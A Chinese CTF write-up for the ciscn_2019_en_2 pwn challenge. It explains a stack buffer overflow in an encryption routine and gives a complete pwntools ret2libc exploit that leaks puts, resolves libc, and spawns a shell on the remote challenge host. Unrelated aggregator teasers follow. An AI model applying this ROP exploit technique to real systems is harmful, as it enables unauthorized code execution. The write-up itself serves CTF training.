news 2026/8/5 13:28:56

ciscn_2019_en_2

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ciscn_2019_en_2

检查一下

拖入ida查看

这是一个加密装置

在main函数中没有发现明显漏洞

进入encrypt()函数中查看

第10行明显的溢出

然后也是没有发现system函数和"/bin/sh"啊

简单的libc,不多赘述了,但是要进入加密函数,前面有个begin的选择,记得要提前传入1

还有一个就是需要在偏移前加上'\0',防止我们的payload被加密程序的异或给破坏

直接写exp

from pwn import * from LibcSearcher import * context(arch = 'amd64',os = 'linux',log_level = 'debug') io = remote('node5.buuoj.cn',26194) elf = ELF('./ciscn_2019_en_2') offset = 0x50+8 puts_plt_addr = elf.plt['puts'] puts_got_addr = elf.got['puts'] main_addr = 0x400b28 rdi_addr = 0x400c83 ret_addr = 0x4006b9 payload1 = cyclic(offset) + p64(rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) +p64(main_addr) io.sendlineafter("Input your choice!","1") io.sendlineafter("Input your Plaintext to be encrypted",payload1) puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') payload2 = cyclic(offset) + p64(rdi_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr) io.sendlineafter("Input your choice!","1") io.sendlineafter("Input your Plaintext to be encrypted",payload2) io.interactive()

最后成功获得flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/5 13:27:41

大模型RAG入门到实战基础教程(非常详细)

大模型(Large Language Model,LLM)的浪潮已经席卷了几乎各行业,但当涉及到专业场景或行业细分域时,通用大模型就会面临专业知识不足的问题。相对于成本昂贵的“Post Train”或“SFT”,基于RAG的技术方案往成…

作者头像 李华
网站建设 2026/8/1 21:48:37

Unlocker 3.0跨平台解决方案:突破限制实现macOS虚拟机部署全指南

Unlocker 3.0跨平台解决方案:突破限制实现macOS虚拟机部署全指南 【免费下载链接】unlocker 项目地址: https://gitcode.com/gh_mirrors/unloc/unlocker 普通PC也能流畅运行macOS系统?是的!Unlocker 3.0作为一款开源跨平台工具&#…

作者头像 李华
网站建设 2026/8/1 21:48:40

智能视频创作:ComfyUI-WanVideoWrapper全流程实践指南

智能视频创作:ComfyUI-WanVideoWrapper全流程实践指南 【免费下载链接】ComfyUI-WanVideoWrapper 项目地址: https://gitcode.com/GitHub_Trending/co/ComfyUI-WanVideoWrapper 在数字内容创作领域,静态图像向动态视频的转化一直是创意表达的重要…

作者头像 李华
网站建设 2026/8/1 21:48:42

解锁论文写作新姿势:书匠策AI,你的课程论文“智囊团”

在学术的浩瀚海洋中,每一位学子都是勇敢的探索者,而课程论文则是这段探索旅程中不可或缺的里程碑。然而,面对堆积如山的资料、错综复杂的逻辑结构,以及那令人头疼的格式要求,不少学子常常感到力不从心。别怕&#xff0…

作者头像 李华
网站建设 2026/8/1 21:48:46

好用还专业!9个降AI率工具测评:MBA必备降AIGC神器

在当前学术写作日益依赖AI工具的背景下,MBA学生和研究者们面临着一个共同的挑战——如何有效降低论文的AIGC率,同时保持内容的逻辑性和专业性。随着高校和期刊对AI生成内容的识别技术不断升级,传统的AI辅助写作方式已难以满足严格的查重要求。…

作者头像 李华
网站建设 2026/8/2 22:54:10

ObjectMapper,别再像个二货一样一直new了!

引言在Java生态中,处理JSON几乎是每个开发者的必修课。而提到JSON处理库,Jackson 无疑是最受欢迎的选择之一。作为Jackson的核心类,ObjectMapper 承担着Java对象与JSON数据之间相互转换的重任。然而,在实际开发中,我见…

作者头像 李华